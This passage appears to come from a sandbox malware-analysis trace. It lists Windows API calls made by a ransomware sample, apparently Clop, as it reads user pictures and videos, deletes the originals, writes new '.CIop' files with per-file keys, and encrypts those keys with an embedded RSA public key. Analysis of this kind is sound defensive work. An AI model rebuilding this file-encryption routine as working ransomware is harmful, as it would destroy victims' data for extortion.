NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0097.372] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x300d5b8, pcbBinary=0x300d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x300d5b8, pcbBinary=0x300d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0097.372] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x300d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x300d5a0, pcbStructInfo=0x300d598 | out: pvStructInfo=0x300d5a0, pcbStructInfo=0x300d598) returned 1 [0097.372] CryptAcquireContextW (in: phProv=0x300d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x300d5a8*=0x654938) returned 1 [0097.373] CryptImportPublicKeyInfoEx (in: hCryptProv=0x654938, dwCertEncodingType=0x1, pInfo=0x5c11d0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x300d5b0 | out: phKey=0x300d5b0*=0x6494f8) returned 1 [0097.373] CryptEncrypt (in: hKey=0x6494f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x300d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x300d5b4*=0x80) returned 1 [0097.373] CryptEncrypt (in: hKey=0x6494f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654ad0*, pdwDataLen=0x300d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654ad0*, pdwDataLen=0x300d5a4*=0x80) returned 1 [0097.373] WriteFile (in: hFile=0x51c, lpBuffer=0x654ad0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300e5d8, lpOverlapped=0x0 | out: lpBuffer=0x654ad0*, lpNumberOfBytesWritten=0x300e5d8*=0x80, lpOverlapped=0x0) returned 1 [0097.373] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.374] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.374] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.374] CloseHandle (hObject=0x51c) returned 1 [0097.376] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\aClNMcka4 SH9Md3Hwo.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\aclnmcka4 sh9md3hwo.png")) returned 0 Thread: id = 134 os_tid = 0xcb0 [0097.863] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.863] lstrcpyW (in: lpString1=0x2fef368, lpString2="Qm paxELf.bmp" | out: lpString1="Qm paxELf.bmp") returned="Qm paxELf.bmp" [0097.863] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.863] SetErrorMode (uMode=0x1) returned 0x1 [0097.863] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp") returned 57 [0097.863] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp", dwFileAttributes=0x20) returned 1 [0097.863] StrStrW (lpFirst="Qm paxELf.bmp", lpSrch=".CIop") returned 0x0 [0097.863] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp.CIop") returned 62 [0097.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qm paxelf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x51c [0097.864] ReadFile (in: hFile=0x51c, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x4866, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0x4866, lpOverlapped=0x0) returned 1 [0097.865] CloseHandle (hObject=0x51c) returned 1 [0097.865] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qm paxelf.bmp")) returned 1 [0097.866] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0097.867] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0097.867] SetErrorMode (uMode=0x1) returned 0x1 [0097.867] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654e88) returned 1 [0097.869] CryptGenKey (in: hProv=0x654e88, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x648fb8) returned 1 [0097.983] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.983] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0097.983] CryptDestroyKey (hKey=0x648fb8) returned 1 [0097.983] CryptReleaseContext (hProv=0x654e88, dwFlags=0x0) returned 1 [0097.983] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qm paxelf.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530 [0097.983] WriteFile (in: hFile=0x530, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x4866, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0x4866, lpOverlapped=0x0) returned 1 [0097.984] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4866 [0097.984] WriteFile (in: hFile=0x530, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0097.984] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x486d [0097.984] SetErrorMode (uMode=0x1) returned 0x1 [0097.985] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0097.985] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0097.985] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0097.985] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x654b58) returned 1 [0097.985] CryptImportPublicKeyInfoEx (in: hCryptProv=0x654b58, dwCertEncodingType=0x1, pInfo=0x5c12a0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x648ff8) returned 1 [0097.985] CryptEncrypt (in: hKey=0x648ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0097.985] CryptEncrypt (in: hKey=0x648ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654c68*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654c68*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0097.985] WriteFile (in: hFile=0x530, lpBuffer=0x654c68*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x654c68*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0097.985] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.985] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.985] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.986] CloseHandle (hObject=0x530) returned 1 [0097.986] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\Qm paxELf.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qm paxelf.bmp")) returned 0 Thread: id = 135 os_tid = 0xc88 [0097.935] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.935] lstrcpyW (in: lpString1=0x314f368, lpString2="-aXVf.flv" | out: lpString1="-aXVf.flv") returned="-aXVf.flv" [0097.935] lstrcpyW (in: lpString1=0x314f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0097.935] SetErrorMode (uMode=0x1) returned 0x1 [0097.935] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv") returned 39 [0097.935] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv", dwFileAttributes=0x20) returned 1 [0097.935] StrStrW (lpFirst="-aXVf.flv", lpSrch=".CIop") returned 0x0 [0097.935] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv.CIop") returned 44 [0097.935] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-axvf.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530 [0097.936] ReadFile (in: hFile=0x530, lpBuffer=0x656668, nNumberOfBytesToRead=0x16bf8, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x314e5e8*=0x16bf8, lpOverlapped=0x0) returned 1 [0097.937] CloseHandle (hObject=0x530) returned 1 [0097.937] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-axvf.flv")) returned 1 [0097.938] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000 [0097.939] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3160000 [0097.939] SetErrorMode (uMode=0x1) returned 0x1 [0097.939] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x6553d8) returned 1 [0097.941] CryptGenKey (in: hProv=0x6553d8, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x649338) returned 1 [0097.999] CryptExportKey (in: hKey=0x649338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0097.999] CryptExportKey (in: hKey=0x649338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3160000, pdwDataLen=0x314e5ec | out: pbData=0x3160000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0097.999] CryptDestroyKey (hKey=0x649338) returned 1 [0097.999] CryptReleaseContext (hProv=0x6553d8, dwFlags=0x0) returned 1 [0098.000] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-axvf.flv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0098.000] WriteFile (in: hFile=0x528, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x16bf8, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x314e5d8*=0x16bf8, lpOverlapped=0x0) returned 1 [0098.002] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16bf8 [0098.002] WriteFile (in: hFile=0x528, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.002] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16bff [0098.002] SetErrorMode (uMode=0x1) returned 0x1 [0098.002] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.002] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.002] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0098.002] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x654cf0) returned 1 [0098.002] CryptImportPublicKeyInfoEx (in: hCryptProv=0x654cf0, dwCertEncodingType=0x1, pInfo=0x5c1510, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x649138) returned 1 [0098.002] CryptEncrypt (in: hKey=0x649138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0098.002] CryptEncrypt (in: hKey=0x649138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654d78*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654d78*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0098.002] WriteFile (in: hFile=0x528, lpBuffer=0x654d78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x654d78*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.002] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.003] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.004] VirtualFree (lpAddress=0x3160000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.004] CloseHandle (hObject=0x528) returned 1 [0098.006] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\-aXVf.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\-axvf.flv")) returned 0 Thread: id = 136 os_tid = 0xc84 [0098.031] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.031] lstrcpyW (in: lpString1=0x2fef368, lpString2="wGSFbii.jpg" | out: lpString1="wGSFbii.jpg") returned="wGSFbii.jpg" [0098.031] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0098.031] SetErrorMode (uMode=0x1) returned 0x1 [0098.031] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg") returned 55 [0098.031] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg", dwFileAttributes=0x20) returned 1 [0098.032] StrStrW (lpFirst="wGSFbii.jpg", lpSrch=".CIop") returned 0x0 [0098.032] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg.CIop") returned 60 [0098.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\wgsfbii.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x52c [0098.032] ReadFile (in: hFile=0x52c, lpBuffer=0x656668, nNumberOfBytesToRead=0x8b0a, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x2fee5e8*=0x8b0a, lpOverlapped=0x0) returned 1 [0098.033] CloseHandle (hObject=0x52c) returned 1 [0098.033] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\wgsfbii.jpg")) returned 1 [0098.059] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000 [0098.060] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3160000 [0098.060] SetErrorMode (uMode=0x1) returned 0x1 [0098.060] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654e88) returned 1 [0098.062] CryptGenKey (in: hProv=0x654e88, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x648fb8) returned 1 [0098.136] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0098.136] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3160000, pdwDataLen=0x2fee5ec | out: pbData=0x3160000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0098.136] CryptDestroyKey (hKey=0x648fb8) returned 1 [0098.136] CryptReleaseContext (hProv=0x654e88, dwFlags=0x0) returned 1 [0098.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\wGSFbii.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\wgsfbii.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530 [0098.137] WriteFile (in: hFile=0x530, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x8b0a, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x2fee5d8*=0x8b0a, lpOverlapped=0x0) returned 1 [0098.138] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8b0a [0098.138] WriteFile (in: 